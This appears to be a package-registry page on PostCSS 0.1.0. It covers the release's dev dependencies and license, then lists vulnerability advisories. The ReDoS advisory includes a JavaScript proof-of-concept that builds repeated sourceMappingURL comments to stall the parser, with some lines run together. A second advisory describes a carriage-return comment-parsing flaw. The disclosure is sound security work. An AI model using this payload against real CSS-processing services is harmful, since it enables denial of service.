PostCSS version 0.1.0, released in late 2013, marks the initial public offering of a then-nascent "framework for CSS postprocessors." Considering the absence of data for its predecessor, this version essentially defines the starting point for understanding PostCSS's evolution. Developers exploring this early iteration should recognize that it represents the foundational architecture upon which later, more feature-rich versions were built. It's a glimpse into the origins of a now-powerful tool for transforming CSS with JavaScript.
This initial release declares no direct dependencies, which indicates a lean core focused on fundamental postprocessing capabilities. To facilitate development, it bundled testing and file system utilities like Mocha (testing framework), Should (assertion library), fs-extra (enhanced file system operations) and CoffeeScript (to simplify JS syntax), suggesting a commitment to code quality and organized project structure from the outset. The MIT license ensures flexibility in its usage. The presence of author Andrey Sitnik, a prominent figure in the CSS tooling landscape, adds weight to the project's credibility and signals expert design. Note that modern version of PostCSS now include a rich ecosystem of plugins, significantly impacting its capabilities compared to this bare-bones beginning. Developers should approach this initial release appreciating its historical context and acknowledging its limitations compared to contemporary versions. The sparse dependency list highlights the low overhead, but also the increased workload to add the functionalities that are now available out of the box.
All the vulnerabilities related to the version 0.1.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.